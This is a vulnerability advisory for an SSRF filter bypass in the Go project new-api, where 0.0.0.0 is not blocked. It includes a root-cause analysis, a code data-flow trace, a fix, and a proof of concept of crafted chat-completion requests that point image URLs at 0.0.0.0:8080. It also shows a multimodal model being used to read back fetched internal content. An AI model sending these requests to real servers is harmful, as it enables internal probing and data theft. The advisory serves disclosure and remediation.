CVE-2026-42339: QuantumNous/new-api has an SSRF Filter Bypass via 0.0.0.0
SSRF Filter Bypass via 0.0.0.0 Summary The SSRF protection introduced in v0.9.0.5 (CVE-2025-59146) and hardened in v0.9.6 (CVE-2025-62155) does not block the unspecified address 0.0.0.0. A regular (non-admin) user holding any valid API token can send a multimodal request to /v1/chat/completions, /v1/responses, or /v1/messages with 0.0.0.0 as the image/file URL host, bypassing the private-IP filter and causing the…
Published May 6, 2026 · Updated May 13, 2026
Affected packages
github.com/QuantumNous/new-api
- Ecosystem
- Go
- Affected
- <= 0.11.9-alpha.1
- Fixed in
- No patched version yet
- Check
go list -m github.com/QuantumNous/new-api
Advisory details
From the GitHub Advisory Database (CC BY 4.0).
SSRF Filter Bypass via 0.0.0.0
Summary
The SSRF protection introduced in v0.9.0.5 (CVE-2025-59146) and hardened in v0.9.6 (CVE-2025-62155) does not block the unspecified address 0.0.0.0. A regular (non-admin) user holding any valid API token can send a multimodal request to /v1/chat/completions, /v1/responses, or /v1/messages with 0.0.0.0 as the image/file URL host, bypassing the private-IP filter and causing the server to issue HTTP requests to localhost. This constitutes at minimum a blind SSRF; when the request is routed through an AWS/Bedrock Claude adaptor, the fetched content is inlined into the model response, upgrading it to a full-read SSRF.
Details
Root Cause
common/ssrf_protection.go — isPrivateIP() (lines 33–47) checks the following ranges:
10.0.0.0/8172.16.0.0/12192.168.0.0/16127.0.0.0/8169.254.0.0/16224.0.0.0/4240.0.0.0/4
`0.0.0.0/8` is not checked. On Linux, 0.0.0.0 resolves to the local machine, same as 127.0.0.1.
Default Fetch Settings
setting/system_setting/fetch_setting.go (lines 16–24) defaults:
EnableSSRFProtection: trueAllowPrivateIp: falseAllowedPorts: ["80", "443", "8080", "8443"]ApplyIPFilterForDomain: true
So 0.0.0.0 on any of these four ports passes all checks.
Data Flow (primary chain — /v1/chat/completions)
User API token
→ /v1/chat/completions (TokenAuth, no admin required)
→ messages[].content[].image_url.url = "http://0.0.0.0:8080/..."
→ dto/openai_request.go:111-117 createFileSource() recognises http(s):// as URL source
→ dto/openai_request.go:119-198 GetTokenCountMeta() collects image_url.url / file.file_data / video_url
→ service/token_counter.go:237-264 LoadFileSource() fetches URL when shouldFetchFiles == true
→ service/file_service.go:135-143 loadFromURL() → DoDownloadRequest()
→ service/download.go:52-68 ValidateURLWithFetchSetting() → 0.0.0.0 NOT blocked → GetHttpClient().Get()
→ Server issues real TCP connection to 0.0.0.0Note on stream requirement: common/init.go (lines 140–141) defaults GET_MEDIA_TOKEN=true but GET_MEDIA_TOKEN_NOT_STREAM=false, so stream: true is needed to trigger the fetch path.
Additional Affected Endpoints
The same ValidateURLWithFetchSetting() → DoDownloadRequest() sink is reachable from:
| Endpoint | User-controlled field | Auth required | | `/v1/chat/completions` | `image_url.url`, `file.file_data`, `video_url` | Regular user token | | `/v1/responses` | `input_file.file_url`, `input_image.image_url` | Regular user token | | `/v1/messages` | `source.url` (type: `"url"`) | Regular user token | | `/api/user/setting` | `webhook_url`, `bark_url`, `gotify_url` | Regular user (self) |
Upgrade to Full-Read SSRF (conditional)
relay/channel/aws/adaptor.go (lines 41–61) — ConvertClaudeRequest():
- If the request is routed to an AWS/Bedrock Claude channel, the adaptor iterates over message content
- When
source.type == "url", it callsservice.GetBase64Data()which invokes the sameDoDownloadRequest()path - The fetched content is rewritten to
type: "base64"and inlined into the model request - The model then describes/transcribes the content in its response
This means an attacker can read the actual content of internal resources (images, PDFs, text) through the model's output, not just detect open/closed ports.
Proof of Concept
Prerequisites: A regular user account with a valid API token. No admin privileges required.
Step 1 — Control group: `127.0.0.1` is blocked
POST /v1/chat/completions HTTP/1.1
Host: <redacted>
Authorization: Bearer sk-<user-token>
Content-Type: application/json
{
"model": "gpt-4o-mini",
"stream": true,
"max_tokens": 1,
"messages": [
{
"role": "user",
"content": [
{"type": "text", "text": "describe"},
{
"type": "image_url",
"image_url": {
"url": "http://127.0.0.1:8080/probe.png",
"detail": "low"
}
}
]
}
]
}Response:
private IP address not allowed: 127.0.0.1Step 2 — Experiment group: `0.0.0.0` bypasses the filter
POST /v1/chat/completions HTTP/1.1
Host: <redacted>
Authorization: Bearer sk-<user-token>
Content-Type: application/json
{
"model": "gpt-4o-mini",
"stream": true,
"max_tokens": 1,
"messages": [
{
"role": "user",
"content": [
{"type": "text", "text": "describe"},
{
"type": "image_url",
"image_url": {
"url": "http://0.0.0.0:8080/probe.png",
"detail": "low"
}
}
]
}
]
}Response:
dial tcp 0.0.0.0:8080: connect: connection refusedThe server attempted a real TCP connection — the SSRF filter was bypassed.
Step 3 — Confirm readback capability via multimodal model
POST /v1/chat/completions HTTP/1.1
Host: <redacted>
Authorization: Bearer sk-<user-token>
Content-Type: application/json
{
"model": "claude-3-5-sonnet-latest",
"stream": false,
"max_tokens": 32,
"messages": [
{
"role": "user",
"content": [
{
"type": "text",
"text": "Transcribe exactly the text in the image. Output only the text."
},
{
"type": "image_url",
"image_url": {
"url": "https://dummyimage.com/600x180/111/fff.png&text=READBACK-OK-314159",
"detail": "low"
}
}
]
}
]
}Response:
{"choices":[{"message":{"content":"READBACK-OK-314159"}}]}This confirms that when the fetch target returns readable content (image/PDF/text), the model's response leaks that content to the attacker. Combining Step 2 and Step 3: if an internal service on 0.0.0.0:<allowed-port> returns image or document content, an attacker can exfiltrate it.
Impact
An authenticated regular user (no admin privileges) can:
- Probe localhost and internal services — Determine open/closed ports on the server by observing
connection refusedvs timeout vs HTTP-level errors. Default allowed ports are 80, 443, 8080, and 8443. - Exfiltrate internal content — When the request routes through a multimodal model (especially AWS/Bedrock Claude), the server fetches the resource and the model returns its content (OCR for images, summarization for PDFs/text).
- Bypass all previous SSRF mitigations — This is a direct bypass of the
isPrivateIP()check. No redirect chain, no DNS rebinding, no race condition required — just replacing127.0.0.1with0.0.0.0.
Since user registration is often enabled by default, any registered user can exploit this.
Suggested Fix
- Add
0.0.0.0/8to the deny list inisPrivateIP()(common/ssrf_protection.go) - Audit against the full [IANA IPv4 Special-Purpose Address Registry](https://www.iana.org/assignments/iana-ipv4-special-registry/) — also ensure coverage for:
0.0.0.0/8("This network")100.64.0.0/10(Carrier-grade NAT)198.18.0.0/15(Benchmarking)- IPv6 equivalents:
::1,::,[::],fe80::/10 - Apply the same IP validation to post-redirect targets (already partially addressed in
service/http_client.go:24-33, but does not help when the initial address itself bypasses the filter)
Resources
- CVE-2025-59146 (GHSA-xxv6-m6fx-vfhh): Original authenticated SSRF, patched in v0.9.0.5
- CVE-2025-62155 (GHSA-9f46-w24h-69w4): 302 redirect bypass of the SSRF fix, patched in v0.9.6
Credited to MeeseeksX.
References
How this page is made: the data panel comes from the GitHub Advisory Database, CISA’s KEV catalog, the NVD and FIRST EPSS, and updates twice a day. No analysis has been written for this entry yet. Methodology
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